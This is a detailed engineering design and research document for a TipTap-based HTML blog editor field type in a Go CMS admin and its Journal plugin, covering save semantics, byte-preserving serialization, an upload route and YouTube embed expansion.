└── docs/backend/field-types.md (or a section in partials-and-widgets.md) + site.yaml nav
sm-journal-plugin/
├── assets/src/blogeditor/ # element.ts, schema/*.ts (rawHtml, figure, embed, span, globalAttrs, table), serializer.ts
├── assets/dist/blogeditor.js|.css # committed, embedded via //go:embed in admin.go
├── classes/blog_editor.go # NEW: FormFieldType values (blogeditor, mlblogeditor): Decode/Load/ListValue/Upload
├── classes/media_store.go # NEW: storage function extracted from controllers/api/media.go (shared)
├── controllers/posts.go, categories.go # hooks: no FormatHTML on admin path; content_html companion writes
├── package.json, package-lock.json, vite.config.ts, scripts/check-dist.sh
└── models/post/fields.yaml (mlblogeditor), models/category/fields.yaml (blogeditor)
vue-journal-layer/app/utils/embeds.ts # NEW: expandEmbeds(html) after gateJournalHtml; PostBody + CategoryHeader
```
### Pattern 1: Per-boot field type registry threaded through compile
**What:** Collect `pact.HasFormFieldTypes` from every activated plugin in `Activate` and pass the registry into `compileRegistry` and from there into `decodeFields` and `compileFieldNode`. Validate aliases with an identifier rule, for example `^[a-z][a-z0-9]*$`, and reject:
- duplicates;
- any name in the core `formFieldTypes` set;
- the reserved names `widget` and `partial`.
**Verified integration points (quoted from source):**
- The closed type set [VERIFIED: modules/cabana/form_schema.go:24-30]:
`"text": {}, "textarea": {}, "number": {}, "checkbox": {}, "switch": {}, "dropdown": {}, "relation": {}, "relation-manager": {}, "widget": {}, "partial": {}, "fileupload": {}, "datepicker": {}, "password": {}, "permissioneditor": {}, "markdown": {}, "mltext": {}, "mltextarea": {}, "mlmarkdown": {},`
- The unknown-key check runs before the type is known [VERIFIED: modules/cabana/form_schema.go:466-468]: `if _, known := formFieldKeys[key]; !known { return FormField{}, fmt.Errorf("unknown field %s", key) }`. The type is resolved afterwards [form_schema.go:474-480]. Plugin keys therefore need either a two-pass key check or a resolve-type-first reorder.
- `decodeFields(raw []byte)` has three callers: form_schema.go:194 (controller form), settings.go:74 (settings), relation_form.go:145 and :246 (relation child and pivot forms). [VERIFIED: grep + Read of form_schema.go]
- Registry construction lives in `Activate`, http.go:74-121: `collectControllers` → `compileRegistry(items)` → `compileContributions(reg, plugins)`. `compileRegistry` receives only `items []controllerRef`, so it needs a new parameter. [VERIFIED: modules/cabana/http.go:75-119; registry.go:57]
- The save classifier [VERIFIED: modules/cabana/crud.go:1224-1232]: `case "text", "textarea", "number", "checkbox", "switch", "dropdown", "datepicker", "markdown", "mltext", "mltextarea", "mlmarkdown": return true`. `BindWritableFields` (crud.go:204) and `mergedRules` (crud.go:1073) use it, so a plugin type bound to a column must count as writable.
- ML classifier [VERIFIED: modules/cabana/field_ml.go:11-15, 47-53]: `mlTextFieldType = "mltext"`, `mlTextareaFieldType = "mltextarea"`, `mlMarkdownFieldType = "mlmarkdown"`.
- List column types [VERIFIED: modules/cabana/list_schema.go:22-24]: `"text": {}, "datetime": {}, "switch": {}, "date": {}, "time": {},`. List rows are projected by `projectRow` (http.go:1067), which copies raw field values. Columns typed with a plugin alias call `ListValue`.
- The widget tag rule to reuse for `Element` [VERIFIED: modules/cabana/extension.go:18, 48-50]: `^[a-z][a-z0-9]*(-[a-z0-9]+)+$`, and the prefix is the plugin ID with `.`/`_` → `-` plus `-` (`golem15.journal` → `golem15-journal-`).
**Recommendation:** Do not use a package-level mutable registry. Tests construct several services in one process; the existing code builds everything per `Activate`. Use a small `fieldTypes` value passed as a parameter, or attached to a compile-context struct.
### Pattern 2: Save lifecycle for plugin types (D-12 items 2-3, D-14)
**What:** Plugin values are handled in two places:
1. **Before the transaction**, a shape check. It reuses the `liftMLValues` rules for a translatable type: an object of enabled locale → string with the default locale required. A plain type accepts any JSON value.
2. **Inside the transaction after `loadRecord`**, a per-locale Load → compare → Decode step.
Decoded default-locale values go onto the body, so `lagoon.Fill` applies them, `Fillable` and `context:` are still enforced, and `FormBeforeUpdate` sees them on the model. Non-default values join the existing `translations` list for `applyMLTranslations`.
**Why inside the transaction:** the current order in `save()` is: ML lift at crud.go:600 (before the transaction), then `loadRecord` (crud.go:616), Fill, BeforeValidate, Validate, `formBeforeUpdate`, row Save, `applyMLTranslations` (crud.go:688), `formAfterUpdate`, `projectFullRecord` and `hydrateMLRecord` (crud.go:709). [VERIFIED: modules/cabana/crud.go:567-711] Load needs the record, for example to serve `content_html` for a markdown post (D-07), so the untouched comparison can only run after the load.
**Error mapping:** pact cannot import cabana, so it cannot return `*cabana.ValidationError`. Define `pact.FieldError{Messages []string}`. Cabana maps it to a 422 on that field. Any other error becomes the opaque 500 or lifecycle error, so internal error text never leaks. This matches the existing `ValidationError`/`ForbiddenError` handling in `lifecycleFailure` (crud.go:815-850).
**Written-values accessor (closes the companion-column gap):** after the decode step, put the written values on the context, the same pattern as `withVirtualFields`/`VirtualFieldsFromContext` (tx_context.go:38-54), for example `cabana.FieldWritesFromContext(ctx) map[string]map[string]string`, which maps field → locale → value for the values actually written. Form hooks read it:
- **Journal `FormBeforeCreate`/`FormBeforeUpdate`:** if `content` was written in the default locale, set `ContentHTML = Content`; otherwise leave `ContentHTML` alone, which keeps it byte-identical.
- **Journal `FormAfterCreate`/`FormAfterUpdate`:** for each written non-default locale of `content`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)`. The hook runs after `applyMLTranslations` (crud.go:688 runs before `formAfterUpdate` at :698), so the host row has its id.
### Pattern 3: Two-layer untouched detection (D-03)
The **client** never re-serializes an untouched document:
- the element stores the exact string it was given;
- its `value` getter returns that string until a user-originated `docChanged` transaction or a source-textarea `input`;
- the initial content goes in with `emitUpdate: false`.
The **server** skips any per-locale value equal to the value it served (`Load` output) on update, so neither column, nor the translation, is written. Both layers are needed:
- The client layer alone fails for a markdown post. The element is served `content_html`, so an untouched save would send `content_html` and overwrite the markdown `content`. The server comparison stops that.
- It also fails for imported posts whose `content_html` differs from `content`. In the local grzybyfunkcjonalne export, 17 of 100 pl translations differ, for example `&quot;` versus `"`. [VERIFIED: analysis of /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/*.json in this session; note this export is from March 2026 and older than UAT data]
- The server layer alone fails because TipTap normalizes on load, as Pitfall 1 shows, so an editor that re-serialized on load would never match.
**Generic semantics:** "a value equal to what the form was served is not written" holds for any plugin type, so cabana can apply it without the plugin opting in.
### Pattern 4: Preservation-first editor schema (D-03 "as far as possible", D-04)
Build these on top of `StarterKit.configure({ trailingNode: false, link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false } })`:
1. **`rawHtml` atomic block node:**
- `atom: true`, `group: 'block'`, low priority.
- `parseHTML` rules for block tags the schema does not model: `footer`, `section`, `aside`, `header`, `nav`, `details`, `style`, and `div` (or only a `div` with attributes).
- It stores the outer HTML.
- The editor shows it as a non-editable card that opens in the source tab. A probe showed it keeps the footer and `<style>` (with `itemscope` → `itemscope=""` normalization). ProseMirror's parser ignores `style` by default, but a matching rule overrides that. [VERIFIED: local probe; prosemirror-model dist ignoreTags = `head, noscript, object, script, style, title`]
2. **Global attribute map:** an `Extension` with `addGlobalAttributes` over the modelled node types. One `htmlAttrs` attribute captures every attribute the node does not model and renders it back. In the probe it kept `class`/`data-x`/`itemprop`; attribute order can change. [VERIFIED: local probe; CITED: tiptap.dev/docs/editor/extensions/custom-extensions/extend-existing (`types: '*' | 'nodes' | 'marks'`)]
3. **`span` mark** with the same attribute map, for inline `style`/`class` spans such as the footer's `<span style="color: #138c74;">`.
4. **`figure` node** containing an image plus an optional `figcaption` (D-18 caption). Without it, the probe showed `<figure>` unwrapped and `figcaption` becoming a `<p>`.
5. **`embed` atomic node**, rule `figure[data-embed]` with higher priority than `figure`. It renders exactly `<figure data-embed="youtube" data-id="ID"></figure>`; the probe round-tripped this exactly.
6. **Table:** `TableKit` with a `renderHTML` override that emits no `colgroup` or `min-width` style.
7. **Custom serializer for `getValue()`:** do not use `editor.getHTML()` for the stored value. Walk the top-level nodes:
- emit `rawHtml` nodes verbatim;
- for other nodes, use `DOMSerializer.fromSchema(schema).serializeNode(node)`.
An optional refinement: at load, parse each top-level DOM child on its own and remember (nodes, outerHTML). On serialize, emit the remembered outerHTML for any run of top-level nodes that are still `Node.eq` to the originals. Unedited paragraphs then stay as the browser serialized them, which reduces diff churn on long imported posts. This is a design proposal [ASSUMED]; `Node.eq` exists in prosemirror-model [VERIFIED: node_modules/prosemirror-model/dist/index.js:217].
**The source tab** is a `<textarea>` bound to the exact string. Switching source → WYSIWYG re-parses; that counts as an edit only if the text changed.
### Pattern 5: Element contract (D-13), extending the 10.1 widget contract
- **Tag:** the plugin prefix rule (`golem15-journal-blogeditor`). It is defined by the plugin script, loaded globally after login.
- **Inputs:**
- The `value` property (string for the Blog Editor; any JSON for other types).
- Attributes `field-name`, `locale`, `record-id` (empty on create) and `invalid`, `disabled`/`readonly`.
- Attribute `options` with the JSON of the type's YAML options.
- Setting `value` to the string the element last emitted must be a no-op, so there is no cursor reset on echo.
- **Outputs (all bubbling `CustomEvent`s):**
- `summer-change` with `detail.value`, emitted only on user edits.
- `summer-upload` with `detail { id, file }`. The SPA posts the file to the field upload route with the admin session and answers on the element with `summer-upload-result` `{ id, url } | { id, error }`.
- **Never handed to the element:** a token, a cookie, a function or a Vue instance (WidgetField.vue header rule). [VERIFIED: admin/src/components/form/fields/WidgetField.vue header comment]
- **Event-name precedent:** `WIDGET_EVENT = 'summer-action'` and `WIDGET_RESULT_EVENT = 'summer-result'`. [VERIFIED: admin/src/components/form/formContext.ts:86,93]
- **SPA changes:**
- `rendererFor` falls back to `PluginField` for types carrying `element`.
- `isRegistered` returns true for plugin types.
- `valueless` stays `[RELATION_MANAGER, 'widget', 'partial', 'fileupload']` [VERIFIED: registry.ts:87].
- `isMLFieldType(type)` (`ML_FIELD_TYPES = new Set(['mltext', 'mltextarea', 'mlmarkdown'])` [VERIFIED: mlLocale.ts:2]) must also accept plugin fields flagged `translatable`. Its callers in `formState.ts` (`editablePayload`, `initialValues`, `adopt`, `recordDisplayName`) pass a type string, so either switch them to a field-based check or register translatable plugin types at schema load.
- **CSS:** `loadStyles`/`activateStyles` disable stylesheets owned by other controllers [VERIFIED: admin/src/app/pluginAssets.ts]. Field-type CSS needs an owner that is never disabled. Scope its selectors under the element tag and use only `--c-*` variables (cabana README:134).
### Pattern 6: Journal integration
- **Register both types on the Plugin**, not on a controller, because field types are global (D-13). Embed `assets/dist/blogeditor.js` and `.css` through the existing `//go:embed` list in `admin.go`. The assets are served at `<prefix>/assets/golem15/journal/dist/blogeditor.js?v=<hash>` (key = `vendor/plugin/<path after assets/>`, extension.go:281).
- **Decode (both types):** check that the value is a string, run `classes.CheckHTML(value)` and return the string unchanged. CheckHTML errors become `pact.FieldError`. The gate patterns [VERIFIED: sm-journal-plugin/classes/format_html.go:25-27]:
- ``(?i)<(?:script|iframe|object|embed)\b``
- ``(?i)\son[a-z]+\s*=``
- ``(?i)(?:javascript|vbscript|data):``
- **Load (post `content`):** if the stored `content` looks like HTML (first non-space byte is `<`), serve `content`. Otherwise it is a markdown post, so serve `content_html` for that locale. For a non-default locale, read it through the app's `cabana.TranslationWriter` (`TranslatedExact(..., "content_html", locale)`). This "looks like HTML" rule is a heuristic [ASSUMED]; see the Assumptions Log.
- **Hooks:** `preparePostWrite` (posts.go:213-219: `html, err := classes.FormatHTML(post.Content)` … `post.ContentHTML = html`) stops calling `FormatHTML` on the admin path and uses the written-values accessor instead (Pattern 2). The API path (`controllers/api/posts_helpers.go`) keeps `FormatHTML` (D-09). [VERIFIED: sm-journal-plugin/controllers/posts.go:213,219]
- **Fields:**
- `models/post/fields.yaml:19` changes `type: mlmarkdown` → `type: mlblogeditor`.
- `models/category/fields.yaml:28` changes `type: textarea` → `type: blogeditor`.
[VERIFIED: grep -n of both files]
- **Category content is not translatable:**
- Go model: `Content *string` … `// HTML body (D-21): stored and served as is, not translatable` [VERIFIED: models/category.go:12].
- `func (Category) Translatable() []string { return []string{"name", "description", "slug"} }` [VERIFIED: models/category.go:26].
- The frozen PHP `Category::$translatable` is `'name', 'description', ['slug', 'index' => true]`, and the PHP category form has no content field at all [VERIFIED: /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php:36-40, models/category/fields.yaml].
- So D-19 resolves to **`blogeditor`**.
- `Content` is `*string`: Decode/Load must handle a nil pointer, and `prepareCategoryWrite` still maps blank to NULL.
- **Post translatable attributes:** `return []string{"title", "content", "content_html", "excerpt", "metadata", "slug"}` [VERIFIED: models/post.go:43-45]. `content_html` is translatable, so the non-default companion write is required.
### Pattern 7: Embed expansion in vue-journal-layer (D-17)
Order matters: `gateJournalHtml(html)` runs first and refuses any raw iframe in stored HTML. Then `expandEmbeds(gated.html)` replaces only exact placeholders, `<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"></figure>` (optionally with a `figcaption`), with:
```html
<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/ID" ...></iframe></figure>
```
- The transform is string-based and SSR-safe; there is no DOM on the server.
- It applies in both v-html sinks: `PostBody.vue:11` and `CategoryHeader.vue:17` [VERIFIED: grep of vue-journal-layer/app].
- Unknown providers or malformed ids stay inert.
- The site's nginx config sets no CSP, so the iframe needs no header change [VERIFIED: grep of sm-grzybyfunkcjonalne-app/deploy/nginx shows only HSTS and nosniff `add_header`].
- Privacy-enhanced mode is the `youtube-nocookie.com` embed domain [CITED: support.google.com/youtube/answer/171780].
### Pattern 8: Plugin JS build (D-16)
Mirror `scripts/check-admin-dist.sh`, which rebuilds into a temporary directory and fails on `diff -r` against the committed `dist`. The plugin gets:
- `package.json` with exact pins and a `package-lock.json`;
- `vite.config.ts` in library mode (`build.lib` with `formats: ['es']`, `fileName: 'blogeditor'`, a stable output name with no content hash, because cabana adds `?v=` itself);
- `scripts/check-dist.sh`.
The Go build never runs npm, so a host app needs no Node (D-16). Do not let the bundle depend on `eval`/`new Function`: the admin CSP is `"frame-ancestors 'none'; base-uri 'none'; object-src 'none'; script-src 'self'"` [VERIFIED: modules/boardwalk/boardwalk.go:32]. There is no `style-src`, so TipTap's injected style tag (`injectCSS`, default true) is allowed. It is still cleaner to set `injectCSS: false` and ship the CSS in `blogeditor.css`.
### Pattern 9: Field upload route (resolves D-18 reachability; see Open Question 1)
The route is `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`, multipart with one `file` part, where `{id}` 0 means the create form, the same convention as the fileupload routes. Cabana owns:
- the backend guard (cookie or Bearer);
- `requireAjax`;
- the controller's `RequiredPermissions`;
- the record scope through `FormExtendQuery` when `id != 0`;
- the body cap `http.body_limits.upload_bytes` (`s.uploadBytes`);
- "the field exists in the form, its type is a plugin type with an `Upload` func, and its context allows the operation".
It then calls `Upload(ctx, pact.FormFieldUpload{Record, Field, Filename, Body})`. That returns `{URL string}` or a `FieldError`, and cabana answers 201 `{data:{url}}`.
**Pattern collision check:** the shape `/{v}/{p}/{c}/{id}/fields/{field}/upload` is distinct from the existing 7-segment POST patterns:
- `.../{id}/files/{field}/reorder`
- `.../{id}/relations/{name}/link`
They differ by the literal segment, so `ServeMux` accepts them all. The 6-segment shape `/{v}/{p}/{c}/fields/{field}/upload` would collide with `POST /{vendor}/{plugin}/{controller}/{id}/actions/{action}`: neither is more specific, the same problem `nestedGet` documents. [VERIFIED: route table read in modules/cabana/http.go:241-345]
A new route must be:
- added to `admin_openapi.go`;
- added to `phase09Routes`, because `TestPhase09PermissionMatrix` and `TestPhase09ContractInventory` fail on divergence;
- regenerated through `scripts/check-admin-openapi.sh`.
### Anti-Patterns to Avoid
- **Running Decode/CheckHTML in Form hooks only.** Hooks see the host model, never the non-default locale values (`translations` stay inside cabana), so D-10 "every locale" cannot be met there.
- **Using `editor.getHTML()` as the stored value.** It normalizes entities, attributes, tables and links even for unchanged content (Pitfall 1).
- **Calling `editor.commands.setContent(html)` with the defaults when syncing an external value.** `emitUpdate` defaults to `true` in v3 (it was `false` in v2), so the echo fires `update` and marks the editor dirty. [CITED: tiptap.dev/docs/editor/api/commands/content/set-content] [VERIFIED: local probe: one update per default `setContent`, none with `{ emitUpdate: false }`]
- **A package-level plugin type registry** in cabana (tests build several services per process).
- **Handing the element a token or calling `/_journal/api/v1/media/upload` from it** (unreachable, and it breaks the 10.1 credential rule).
- **Relaxing `CheckHTML` to allow iframes** (rejected; D-05 and Deferred).
## Don't Hand-Roll
| Problem | Don't Build | Use Instead | Why |
|---------|-------------|-------------|-----|
| Rich-text editing, selection, undo, paste handling | contenteditable + execCommand | TipTap 3.31.4 (ProseMirror) | Locked D-16; contenteditable has notoriously inconsistent cross-browser behavior [ASSUMED] |
| Table editing (cell selection, merge, keyboard nav) | Custom table UI | `TableKit` (prosemirror-tables) | Edge cases in cell selection and colspan handling |
| Locale storage for the ML variant | Per-plugin translation writes | cabana `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord` + published `TranslationWriter` | D-14; the existing path already validates locales and the default key |
| Asset hashing/serving/ETag | A second asset pipeline | `compileClientAssets` reader + `pluginAsset` route | 10.1 machinery; refactor the reader for plugin-level assets |
| Upload auth/CSRF/permissions/scoping | A plugin route that reads the cookie | cabana-owned field upload route (Pattern 9) | The framework owns these checks for actions and file routes already |
| HTML sanitization | A sanitizer | `classes.CheckHTML` refuse-only gate | Locked D-10 (no sanitizer dependency) |
| The dist drift gate | Ad-hoc checks | Copy of `scripts/check-admin-dist.sh` | Proven pattern (temp build + `diff -r`) |
**Key insight:** losslessness here does not come from a perfect schema, because no ProseMirror schema round-trips arbitrary HTML. It comes from not serializing unless the user edited, plus a server that refuses to write what it served.
## Common Pitfalls
### Pitfall 1: TipTap's default schema silently rewrites imported HTML
**What goes wrong:** Opening and re-serializing loses footers, styles, spans, microdata, figures and table structure.
**Evidence (local probe, @tiptap/* 3.31.4 on happy-dom 20.11.6):**
- The input `<p>Tekst.</p>\n\n<footer class="author-footer" itemscope itemtype="https://schema.org/Person">…<style>…</style>` came out as `<p>Tekst.</p><img src="/a.png" alt="A"><p>Marcin</p>`.
- `&quot;` became `"`.
- `<table><thead>…` came out as `<table style="min-width: 50px;"><colgroup>…</colgroup><tbody><tr><th><p>A</p></th>…</tbody></table><p></p>`.
- `<figure><img><figcaption>Cap</figcaption></figure>` came out as `<img …><p>Cap</p>`.
[VERIFIED: probe output this session]
**How to avoid:** Use Patterns 3 and 4.
**Warning signs:** A vitest that sets `value` and reads `value` without any edit returns a different string.
### Pitfall 2: Link extension adds attributes to every link
**What goes wrong:** Every re-serialized `<a>` gains `target="_blank" rel="noopener noreferrer nofollow"`.
**Why:** The defaults are `HTMLAttributes: { target: '_blank', rel: 'noopener noreferrer nofollow', class: null }` [VERIFIED: node_modules/@tiptap/extension-link/src/link.ts:263-267].
**How to avoid:** Configure `link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false }` and preserve the original `target`/`rel` through the attribute map. Keep the default `isAllowedUri` (it refuses `javascript:`).
### Pitfall 3: The trailing node appends `<p></p>`
**What goes wrong:** StarterKit v3 includes `TrailingNode`, so a document that ends in a table or another atom gains an empty paragraph.
**How to avoid:** `StarterKit.configure({ trailingNode: false })` [VERIFIED: local probe, trailing `<p></p>` gone with the option].
### Pitfall 4: `setContent` emits `update` by default in v3
**How to avoid:** Pass the initial value through the `content` option or `setContent(v, { emitUpdate: false })`. Track dirty from user transactions only. [VERIFIED: probe; CITED: tiptap set-content docs]
### Pitfall 5: The 16.1 stopgap is not byte-preserving
**What goes wrong:** Since 16.1, every admin post save runs `FormatHTML(post.Content)` (goldmark with `html.WithUnsafe()`, format_html.go:22) and stores the result in `content_html`.
- goldmark trims the input and adds a trailing `\n`.
- CommonMark HTML-block rules can turn 4-space-indented HTML into code blocks, and can process markdown between blank-line-separated HTML blocks. [ASSUMED from CommonMark spec behavior]
- The 16.1 test compares `strings.TrimSpace(stored.ContentHTML)` [VERIFIED: posts_admin_smoke_test.go:146], so it cannot detect byte drift.
**How to avoid:** Replace the stopgap on the admin path (Pattern 6). Tighten the test to exact bytes and add the untouched case: a PUT with the served value must leave `content`, `content_html` and `updated_at`-independent columns unchanged.
### Pitfall 6: Saving an untouched markdown post converts it
**What goes wrong:** Without the server-side skip, an untouched markdown post sends `content_html` back as `content`, a silent format migration with no edit. That contradicts D-03, and also D-07's "on first edit".
**How to avoid:** Use the Pattern 3 server skip.
### Pitfall 7: Non-default `content_html` is never written by the admin today
**What goes wrong:** `FormBeforeUpdate` sets only the host `ContentHTML`. `applyMLTranslations` writes only the field itself (`content`). So an `en` edit leaves the `en` `content_html` stale. PHP wrote both per locale: `setAttributeTranslated('content', …)` and `setAttributeTranslated('content_html', Post::formatHtml($value), …)` [VERIFIED: fonoteka/plugins/golem15/journal/formwidgets/MLJournalMarkdown.php getSaveValue].
**How to avoid:** Use the Pattern 2 written-values accessor and the companion write in `FormAfter*`.
### Pitfall 8: Field-type CSS gets disabled on navigation
**What goes wrong:** `activateStyles(controllerId)` disables every link whose owner is not the active controller [VERIFIED: admin/src/app/pluginAssets.ts].
**How to avoid:** Add a global owner that `activateStyles` never touches.
### Pitfall 9: Route pattern collision panics at boot
**What goes wrong:** See Pattern 9. Use the `/{id}/fields/{field}/upload` shape and keep `TestPhase09PermissionMatrix` green.
### Pitfall 10: The `data:` substring in prose trips `CheckHTML`
**What goes wrong:** ``(?i)(?:javascript|vbscript|data):`` matches anywhere, including Polish text "Data: 12.03" ("data" is Polish for "date") and "Metadata:". The editor would then answer 422 on harmless text.
**Evidence:** There are 0 occurrences in the local export [VERIFIED: scan this session], so this is a latent false-positive risk, not a current blocker.
**How to handle:** Show the 422 message clearly in the editor. Changing the gate is a security decision and out of scope (D-10).
### Pitfall 11: There is no Docker on this machine
**What goes wrong:** The testcontainers suites cannot run here: the `modules/cabana` Postgres tests and the sm-journal-plugin admin harness, including `TestPostsAdminResaveKeepsHTML` [VERIFIED: `docker info` failed this session; 16.1-01 SUMMARY records the same].
**How to handle:** Plan DryRun/unit coverage that runs with `-short` and a human Docker-host gate before the release (the 16.1-02 "docker-first" pattern).
## Code Examples
### 1. pact surface (proposed; names are Claude's discretion)
```go
// FormFieldType is a plugin-registered, value-bearing admin form field type
// (Winter registerFormWidgets). Name is the global alias used as `type:` in
// fields.yaml; Element is the custom-element tag the plugin's script defines.
type FormFieldType struct {
Name string
Element string
Translatable bool // value is a locale -> string map stored through the translation writer
Scripts []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
Styles []string // AdminFS paths under assets/ (.css)
Options []string // the type's own fields.yaml keys
CheckOptions func(options map[string]any) error `json:"-"`
Decode func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"`
Load func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"`
ListValue func(value any) string `json:"-"`
Upload func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
}
type FormFieldValue struct {
DB *gorm.DB // the save transaction, or the read handle for Load
Record any // the loaded (or new) model pointer
Field string
Locale string // "" for a non-translatable type
Default bool // Locale is the host-column locale
Value any // submitted (Decode) or stored (Load) value
}
// FieldError is a value refusal shown on the field (422).
type FieldError struct{ Messages []string }
type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType }
```
(`pact` already imports `gorm.io/gorm` and `context` [VERIFIED: modules/pact/capabilities.go:3-13].)
### 2. Journal Decode (Go, no new dependency)
```go
func decodeBlogHTML(_ context.Context, in pact.FormFieldValue) (any, error) {
text, ok := in.Value.(string)
if !ok {
return nil, &pact.FieldError{Messages: []string{"golem15.journal::lang.post.content_invalid"}}
}
if err := CheckHTML(text); err != nil { // classes.CheckHTML: refuse, never rewrite (D-10)
return nil, &pact.FieldError{Messages: []string{err.Error()}}
}
return text, nil
}
```
### 3. Element skeleton (TypeScript, light DOM)
```ts
// Source: TipTap Editor/setContent docs + local probes (emitUpdate:false fires no update)
class BlogEditor extends HTMLElement {
#original = '' // exact served string
#dirty = false
#editor?: Editor
get value(): string { return this.#dirty ? serialize(this.#editor!) : this.#original }
set value(v: string) {
if (v === this.value) return // echo of our own summer-change: no reset
this.#original = v; this.#dirty = false
this.#editor?.commands.setContent(v, { emitUpdate: false })
}
connectedCallback() {
this.#editor = new Editor({
element: this.querySelector('[data-pm]')!, injectCSS: false,
extensions: preservationExtensions(), content: this.#original,
onUpdate: ({ transaction }) => {
if (!transaction.docChanged) return
this.#dirty = true
this.dispatchEvent(new CustomEvent('summer-change', { bubbles: true, detail: { value: this.value } }))
},
})
}
disconnectedCallback() { this.#editor?.destroy() }
}
customElements.define('golem15-journal-blogeditor', BlogEditor)
```
### 4. Layer embed expansion (SSR-safe string transform)
```ts
// After gateJournalHtml; the iframe exists only in the rendered page (D-05).
const YOUTUBE = /<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"><\/figure>/g
export function expandEmbeds(html: string): string {
return html.replace(YOUTUBE, (_m, id: string) =>
`<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/${id}" title="YouTube" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture" allowfullscreen></iframe></figure>`)
}
```
## State of the Art
| Old Approach | Current Approach | When Changed | Impact |
|--------------|------------------|--------------|--------|
| TipTap 2 `setContent(content, emitUpdate = false)` | v3 options object, `emitUpdate` default `true` | TipTap v3 | Echo updates mark dirty unless suppressed |
| `History` extension | `UndoRedo` (StarterKit option `undoRedo`) | v3 | Config key name [VERIFIED: starter-kit.ts:101-103] |
| `@tiptap/extension-table-row/-cell/-header` separate packages | `TableKit` from `@tiptap/extension-table` | v3 | One install [CITED: tiptap table docs] |
| StarterKit without link/underline/trailing node | v3 StarterKit includes Link, Underline, TrailingNode | v3 | Must configure or disable [VERIFIED: starter-kit.ts:130-169] |
**Deprecated/outdated:** goldmark rendering of HTML content on the admin path (the 16.1 stopgap) is replaced by D-02/D-10.
## Assumptions Log
| # | Claim | Section | Risk if Wrong |
|---|-------|---------|---------------|
| A1 | "Looks like HTML" (first non-space byte `<`) identifies an HTML post; anything else is markdown and is served as `content_html` | Pattern 6 | A markdown post starting with an HTML tag would open as raw markdown in WYSIWYG; low frequency (0 of the local export's markdown bodies start with `<`) but needs user OK |
| A2 | Light DOM is preferable to Shadow DOM for ProseMirror | Alternatives | Style leakage if wrong; mitigated by tag-scoped CSS |
| A3 | Top-level `Node.eq` reuse of original block HTML is worth its complexity | Pattern 4 item 7 | Planner may cut it; D-03 only requires "as far as possible" |
| A4 | goldmark can mangle indented HTML (CommonMark HTML block rules) | Pitfall 5 | Only affects the justification for replacing the stopgap, not the decision |
| A5 | Settings forms refuse plugin types in v1 | Pattern 1 | A future settings form wanting a plugin type needs a follow-up |
| A6 | Journal uploads keep the media-bucket layout (`/journal/...`), not `content_images` attachments (PHP parity used attachments) | Pattern 9 | Attachments would need deferred binding with the form session key |
| A7 | contenteditable inconsistency justifies the library (general knowledge) | Don't Hand-Roll | None (D-16 locks TipTap anyway) |
## Open Questions (RESOLVED)
All three questions were settled during planning; the resolution line under each question is binding for the plans.
1. **D-18 upload path reachability (needs user confirmation).**
- **RESOLVED (user decision 2):** cabana owns the upload transport, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (plan 01), which calls the field type's `Upload`; Journal moves its storage rules into `classes.StoreMedia` and calls it from that `Upload` (plan 03), and `POST /_journal/api/v1/media/upload` stays unchanged for API clients (D-09).
- What we know:
- The admin SPA never reads the JWT: "the JWT lives in an HttpOnly cookie the SPA never reads" [VERIFIED: admin/src/api/client.ts:2-4].
- The cookie is `Path: s.adminPrefix()`, `HttpOnly: true`, `SameSite: http.SameSiteStrictMode` [VERIFIED: modules/cabana/auth.go:244-252], with `AdminCookieName = "summer_admin"` [VERIFIED: modules/cabana/prefix.go:16].
- The Journal guard is built without cookie names: `return bouncer.NewBackendJWTGuard(secret, cabana.BackendUsers{DB: gdb, Registry: reg}, bl, write)` [VERIFIED: sm-journal-plugin/controllers/api/auth.go:80], and the route is `g.Post("/media/upload", ...)` under `/_journal/api/v1` [VERIFIED: routes.go:26].
- So the browser sends no credential to that route from the admin.
- Recommendation:
- Keep the existing route untouched for API clients (D-09 spirit).
- Extract its storage logic into `classes` (or `controllers/api`), keeping these values: `const mediaMaxBytes = 10240 << 10`; extensions `"jpg", "jpeg", "png", "gif", "webp"` [VERIFIED: media.go:17,45]; the `/journal/<folder>/<name>` keys; the unique-suffix logic.
- Call it from the field type's `Upload` through the cabana field upload route (Pattern 9).
- This keeps "the existing Journal media storage" but changes the transport, so confirm the reading of D-18 with the user.
2. **Where the SPA learns the global field-type assets.** Options: a new `GET /field-types` route (adds to the OpenAPI and route matrix), or a `meta.fieldTypes` on `/navigation`, which already loads on every page (`useNavigation.ts:13`). Recommendation: a dedicated route, which keeps the navigation contract unchanged. Planner's choice.
- **RESOLVED (plan 01, planner's choice):** a dedicated `GET {api}/field-types` route, loaded by the SPA next to `/navigation`; the navigation contract does not change.
3. **Release scope.** The 16.1 pattern applies: summercms tag v0.1.17 (latest is v0.1.16), a sm-journal-plugin `go.mod` require bump, the host gitlink bump, vue-journal-layer tag v0.2.0 (latest v0.1.0) with the `vue-grzybyfunkcjonalne-app` `package.json` pin `"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"` [VERIFIED: package.json:20] bumped, the host gitlink for the Vue app, `scripts/build.sh` (builds Go and Nuxt), rsync, restarting both supervisor programs, and the on-server smoke. Recommendation: include it as a plan with human checkpoints (Docker-host gate, UAT browser check of editing an imported post).
